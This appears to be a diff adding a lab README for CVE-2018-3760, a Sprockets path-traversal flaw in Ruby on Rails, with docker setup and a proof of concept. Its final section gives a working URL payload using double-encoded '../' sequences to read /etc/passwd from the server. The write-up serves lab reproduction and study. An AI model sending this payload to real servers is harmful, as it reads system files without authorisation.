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+# Ruby On Rails Path Traversal Vulnerability（CVE-2018-3760）
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
+
+There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.
+
+Reference links：
+
+- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
+- https://seclists.org/oss-sec/2018/q2/210
+- https://xz.aliyun.com/t/2542
+
+## Environment setup
+
+Enter the following command：
+
+```
+docker compose up -d
+```
+
+Visit `http://your-ip:3000` and you'll see the welcome page.
+
+## POC
+
+It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
+
+![](1.png)
+
+We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
+
+```
+http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
+```
+
+![](2.png)